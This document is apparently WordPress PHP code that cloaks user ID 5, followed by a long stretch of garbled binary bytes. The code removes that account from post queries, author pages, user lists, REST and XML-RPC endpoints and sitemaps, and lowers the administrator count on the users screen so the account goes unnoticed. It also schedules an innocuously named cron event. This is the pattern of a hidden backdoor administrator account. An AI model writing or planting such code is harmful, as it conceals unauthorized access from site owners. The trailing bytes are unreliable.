add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎#r6wP;+d!$]a
*N2Vi=Yfo0H}Ym]Q-8?n]W৫n5_.Va_/՟}?Uiw˫W՟?_K;t>OC->7nZ]{|6Wnv_~u^?>/
`WW&'˲>tjӮ}wvæ姇izs3۬'ti2_vjw|_7r9Y&U7vl'ϛ~mW_˗/zs?l
|H?W_zX?˿Y7˯e|wWݦ_eOs~v{\'9j#4S~?m˗#8za <@⇇ȍS6F]↩iFln>:`9 %X47
7&pQq# 7qC̗ojMK$.SHNrҰQr7Q%'
AjGzބv*wďo=7D
E}2Ts0II ky.q\Pq)у5B7z
Ɉ VFɲpC:?TsCr^clWŚ\#*N!Q%dud7꼫|UXkj;;b)؞;wpGS}Fʆ+w50]a48+;BƎ$~SocT>8ˡqry:}Nk+V;drѩ()Z iIϏWGvHӃZH^
=Ůq=7F}"}|q[͍ɧߑ퓀S''U7U1K鹫4y*/FF1JrۊtqopT
5/=|dӫ9.82q;e`Ĺ)ڜ79iΡ!\=6Wk&Id'#+8r8hzBw Y;dB;$w$h@z1ج=UYgp:+E=4tV̗qj6
&l]^s1=NO
{jN+3}=\YH[csb:6
e0 iB>4J%;%V.m/
df{@Sh{4AlC
G=C~N攆^#plW^83:j 8DJIp=F8ll
[!y@V7g1$وXܓ:TqYN#Il_N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